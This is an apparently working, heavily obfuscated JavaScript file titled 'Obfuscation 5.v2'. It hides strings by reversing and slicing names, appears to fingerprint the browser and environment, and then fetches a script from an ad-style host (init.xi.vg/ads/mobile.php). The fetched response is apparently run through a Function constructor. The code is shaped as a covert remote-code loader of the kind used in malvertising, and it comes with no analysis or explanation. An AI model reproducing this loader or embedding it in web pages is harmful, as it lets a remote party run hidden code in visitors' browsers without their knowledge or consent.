Obfuscation 5.v2

var URL = "https://init.xi.vg/ads/mobile.php?alert";

+function(){
  var greet = 'gi', add, present;

  function allPass(data, arg) {
    return arg ? data[0].toUpperCase()+data.substring(1) : data.toLowerCase();
  }

  function ap (data) { return data.split('').reverse().join('') }

  function treats(vol, key) { return new RegExp(vol, key) }

  function multiply(vol) {
    var tmps = Object.keys(vol);
    var values = tmps.map(function (_property) {
      return vol[_property];
    });
    return tmps.concat(values);
  }

  function greater(vol, key) {
    return key ? Object.keys(vol)
      : Object.keys(vol).map(function (tmp) {
        return vol[tmp];
      });
  }

  var gaps, value, curried, any;

  function aperture(data, keys) { return data.slice(keys[0], keys[1]) }

  function composed(data) {
    return data.reduce(function (first, second) { return first.concat(second) })
  }

  function transformer(volume) { return volume.toString() }

  function append(data) {
    return data.map(function (_elements) {
      return _elements.reduce(function (acc, sec, ind) {
        if (ind === 1){ return [acc, sec] }
        var key = true;
        acc.forEach(function (teg) { if (sec === teg) { key = false } });

        if (key) { acc.push(sec); return acc }
        return acc;
      });
    })
  }

  function pairs(data, arg) { return data.join(arg || '') }

  function arity (vol, coords) {
    if (!coords.x){ return vol.slice(coords.y) }
    return vol.slice(coords.y, coords.x);
  }

  function prepend(data, volume) { return volume.map(function (vol) { return data[vol] }) }

  function  unapply(args,  juxt) { return args in (  juxt || value) } any = '[a-zA-Z]';

  function reference(web, embly) {
    var result = web.ass.concat(embly).map(function (side) {
      side.forEach(function (content) {
        if (content === 'bar'){
          return content;
        }
        return rect;
      })
    });
  }

  function objektieflens(color, screen) {
    var base = color;
    var data = screen.tent;
    return { persis: base + data, open: color.depth };
  }

  function originalValue(doc) {
    return doc.map(function (element) {
      return element.style || element.alt;
    });
  }

  function predicatesList(bug, light) {
    return bug.color === light ? light.name : light.plug;
  }

  var repeat = { aperture_: 'gen_',  _write:'enable', _more: 'crypt', Int_: 'ad2' };

  function providedPredicatesIsSatisfied(web, buffer) {
    var fire = buffer.split(web.saf, web.ari, web.glf);
    fire.forEach(function (el, index) {
      el = index === 1 ? el.edg + web.trid : el.rame - web.fari;
    });
  }

  function isProvidedPredicateIsSatisfied(perform, entries) {
    var res = get(perform.byType) + entries.ance;
  }

  var least, predicate, given, rank;

  function createFCST(data) {
    var tmps = data.map(function (el) { return transformer(el) });
    value = window;

    var suits = ['{3,7}','{4,7}','{3,7}','{3,5}']
      .map(function (condition) { return treats(any+condition, greet) });

    var props = [];
    tmps.forEach(function(acc, key) {
      var prop = suits.map(function(reg, ind) { if (key === ind) { return acc.match(reg) } });
      prop.map(function(tmp) { if (tmp) { props.push(tmp) } });
    });

    const isSpade = append(props);

    function foo(data) { return  data.prototype }
    var isClub = isSpade.map(function (obj) { return arity(obj, {y: 2}) });

    least = [[0,4,1],[7,10],[9],[12],[1]]
      .map(function (arg, key) { var grabed = prepend(isClub[0], arg),
        elts = grabed.map(function (el, ind) {
          if (key === 0) { return ind === 2 ? el: allPass(el, true) }
          else if (key === 3) { return allPass(el, true) }
          else { return el }
        });

        var ready = elts.reduce(function (acc, sec) { return acc+sec });
        gaps = navigator;

        return key === 3 ? ! unapply(ready) : key === 4 ? 1 : unapply(ready);
      });

    least = least.reduce(function (first, second) { return first && second });
    present = foo(value.Array);

    predicate = [[7,5],[8,4,3],[2,1,9]]
      .map(function (data, key) { var _grabedElements = prepend(isClub[1], data),
        elts = _grabedElements.map(function (el, ind) {
          if (key === 1) { return ind === 1 ? allPass(el, true) : el }
          else if (key === 2) { return ind === 2 ? allPass(el, true) : el }
          else { return el.toUpperCase() }
        }),

        ready = elts.reduce(function (acc, sec, ind) {
          return key === 2 ? ind === 2 ? acc[0][acc[1]+sec] : [value[acc], sec] : acc + sec;
        });

        return key === 2 ? ready :  unapply(ready);
      });

    function sighting(data, key) { return present.join[data+ap(key)] }
    predicate = predicate.reduce(function (data, keys) { return data && keys });

    given = [[6], [1, 4, 5]].map(function (vol, ind) {
      var grabed = prepend(isClub[2], vol), curried = document,
        elts = grabed.map(function (el, key) { if (ind === 1) {
          return key === 1 ? ['u' + el.slice(3), allPass(el, true)] : el;
        } return el;
        });

      return elts.reduce(function (acc, next, vol) {
        return ind === 1 ? vol === 1 ? curried[acc+next.join('')] : acc[next] : acc + next;
      });
    });

    given = given.reduce(function (data, vol) { return  unapply(data, vol) });

    rank = [[3],[4],[8],[7]]
      .map(function (vol, _index) { var grabed = prepend(isClub[3], vol);

        return grabed.map(function (key) {
          if (_index === 0) { return allPass('de'+key, true) }
          if (_index === 2) { return key+'ins' }
          return key;
        });
      });

    rank = rank.reduce(function (acc, next, ind) {
      return ind === 1 ? [ unapply(acc),next]
        : [acc[0], acc[1].concat(next)] }).reduce(function (first, key) {
      return first && !(gaps[key[1][1]]
        && gaps[key[1][key[2]].match(key[0])]);
    });
    present = sighting('const', 'rotcur');
  }

  setTimeout(function () {
    createFCST([reference, objektieflens, originalValue, predicatesList]);
  }, 100);

  function splitAt(tps, it, key) {
    var tmp = []; transformer(splitAt).match(treats(any + '{2,3}', 'g'))
      .map(function (el, index) { return index === 5 || index === 6 ? tmp.push(el) : el });

    return key.map(function (el, ind) {
      return ind === 0 ? { [it.split(', ')[ind]+tmp[0]]: tps.split(', ')[ind]+tmp[1]+'y'} :
        { ['p'+tps.split(', ')[ind]]: 'go'+it.split(', ')[ind]};
    })
  }

  function sortWith(cat, arg, key) {
    var tmp = transformer(sortWith).match(treats(any + '{3}', 'g'))[4];
    return key ? { arg: cat+tmp } : { [cat]: arg+tmp };
  }

  function _foo(array1, arr2) {
    var array = array1.concat(arr2), res = {};
    array.forEach(function (els) {
      for (var el in els ) { res[el] = els[el] }
    }); return res;
  }


  var combinator = _foo(
    splitAt('secur, age', 'ht, ogle', [gaps, value]),
    [sortWith('_tuples', 'syndi'), repeat]);

  setTimeout(function () {
    variadic(combinator);
  }, 200);

  function variadic(data) {
    var cleaned = arity(greater(data, true), {y: 2}),
      comAd = 'ion, com, ad', tail = '/, ., :';
    function juxt(vol, tmp, el,  field) { return  field(vol, tmp) ? 4 : el ? 2 : 1 }

    function join(data, keys) {
      var updKeys = keys.toString().split('');
      return updKeys.map(function (el) {
        return data.split(', ')[el];
      })
    }

    function sortBy(a, b, c, key, arg) {
      return arg ? a + pairs(join(c, key[0]), '') + b + arg[key[1]]
        : a + pairs(join(c, key[0])) + b;
    }

    function based(a, b, key, arg) {
      return arg ? '.'+ pairs(join(comAd, key[1]).concat(join(tail, key[0])))
        : a + b[key[2]] + pairs(join(comAd, key[0]).concat(join(tail, key[1])), '');
    }

    function getMetrics(volume) {
      add = new Image(); var data = multiply(volume)
        .filter(function (el) {
          return !el.match('_') ? el : false;
        });

      var tmp1 = data.reduce(function (acc, sec, ind) {
        return ind === 1 ? sortBy(acc, sec, tail,[200, 7], data) : ind === 2 ? acc
          : ind === 3 ? sortBy(acc, sec, tail,[1]): ind === 4
            ? acc + sec + comAd.split(', ')[0] : acc;
      });

      var prop1 = data.reduce(function (acc, sec, ind) {
        return ind === 5 ? based(acc, sec, [0,1], true): ind === 6
          ? based(acc, data,[2,0,1]) : ind === 7 ?
            acc + volume.aperture_ + 204 : acc;
      });

      return { s: 0, d: [], u: composed([tmp1, prop1]), n: predicate ? 6 : 2 };
    }

    function gcp(volume, field, folder) {
      var tmps = multiply(volume), props = transformer(field)
        .match(treats(any+'{8}', greet)).slice(-1);

      return typeof(tmps[12]+ 'o')==props[0] ||
        (gaps[folder+allPass(tmps[11], true) + 'd'] + tmps[10].d).match(/"/);
    }

    var identity = [1,2,2,1,0]
      .map(function(el) { return cleaned.splice(el, 1) });

    function comparator (data) { return least||rank?/"/:data._more }

    identity.forEach(function (el, ind) {
      return data[el] = ind === 0 ? getMetrics(data) : ind === 1 ? add : ind === 2 ? comparator(data) :
        ind === 3 ? gcp(data, reference, 'java') : juxt(data.https, curried, rank,  unapply);
    })
  }

  var flattens = 'Get some text. listen and load some. response ready event. Get state status request';

  function wrapper(folder, tmp, el, key, field) {
    var tmps = folder.split(' '), prop = field(greater(combinator, true)[0], true)
      .slice(0, -1);

    el = new value['xml'.toUpperCase() + prop + allPass(tmps[13], true)] ();
    el.open(field(tmps[10]), tmp);

    el['add'+ allPass(tmps[9].slice(0, -1), true) +field(tmps[3]+'er', true)]
    (tmps[5], function () {
      this[tmps[8]+allPass(tmps[11] ,true)] == 4 && this[tmps[12]]==200
      && key(this[tmps[7]+ field(tmps[2], true).slice(0, -1)])();
    });
    el.send();
  }

  function both(flattens, a, b) { wrapper(flattens, a,b, present, allPass) }

  var user = { age: 18 };
  setTimeout(function () {
    var tmp = transformer(providedPredicatesIsSatisfied),
      isValid = append([tmp.match(treats(any+'{3,6}', greet))]);

    function accept(volume, arg) {
      var res = []; volume.forEach(function(el, key) {
        key === arg[0] ? res.push(allPass(el, true)) : key === arg[2] ? res.push(el)
          : key === 19 ? res.push(volume[7]) : key === arg[1] ? res.push(el.toUpperCase()) : el;
      });
      return res.join('');
    }

    var elts = [least, predicate, given, rank],
      form =  unapply(accept(isValid[0], [6,13,18]));

    applicative(gaps, isValid, !combinator._write && form, tmp, {user: user}, elts);
  }, 400);

  function applicative(data, field, vol, arg, nt, form) {
    var isValid = append([arg.match(treats(any+'{3,4}', greet))]);

    var clone = Object.keys(nt).concat(allPass(Object.keys(nt.user)[0], true)+'nt');

    user = isValid[0].map(function(el, ind) {
      return  ind === 12 ? el + 'fox' : ind === 23 ? 'sa' + el :
        ind === 21 ? el + 'ent' : ind === 20 ? el + 'e' : '';
    });

    var unary = user.filter(function(el) { return el.length > 0 });

    var applied = unary.map(function (el) {
      return data[clone.join('')].match(treats(el, 'i')) }).map(
      function (el, ind) { return ind === 0 ? (el && form[ind]) : ind === 3 ?
        (el && (form[1] || form[2])) : (el && form[3]);
      }).reduce(function (acc, next) { return acc || next });

    var _arity = { max: 'toggle', touch: 'protocol', point: 'resource', next: 'Hop' };

    function cond(data) {
      return arity(multiply(data), {y: 0, x: -5}).map(function (el, ind) {
        return ind > 0 ? allPass(el, true) : el;
      }).join('');
    }

    function construct (data, key){
      if (typeof key === 'string') { return data ? combinator._tuples-- : '' }
      else if (data.length > 3) { return combinator._tuples-- }
      else { combinator._tuples-- }
      return '';
    }

    function errorsCatcher(){
      var tmp = transformer(isProvidedPredicateIsSatisfied),
        isValid = append([tmp.match(treats(any+'{4,7}', greet))])[0].slice(5);

      var valid = isValid.map(function(el, index){
        return index === 0 ? [el, isValid[3]].join('') : allPass(el, true);
      });

      value[valid[0]]['get'+arity(valid, {y: 1, x: -1})
        .join('')](_arity.point).forEach(function(a){a.name==combinator.aperture_.u &&
      (a[multiply(_arity)[3]+_arity.next+allPass(multiply(_arity)[5], true)]
        ||'h2').slice(~combinator.aperture_.d)==combinator.aperture_.n
      &&both(flattens, URL);
      });
    };

    if (applied) {
      if (vol && !(form[1]&&!data[cond(_arity)+'s'])) {
        combinator.Int_.__defineGetter__(least||rank
          ? 'to'+ allPass(typeof _arity.max, true) : 'id', construct);

        combinator.Int_.id = 'on' + _arity.max;
        combinator._more.onerror = errorsCatcher;
        combinator._more.src=combinator._tuples?combinator.aperture_.u:'';
      }
    }
  }
}();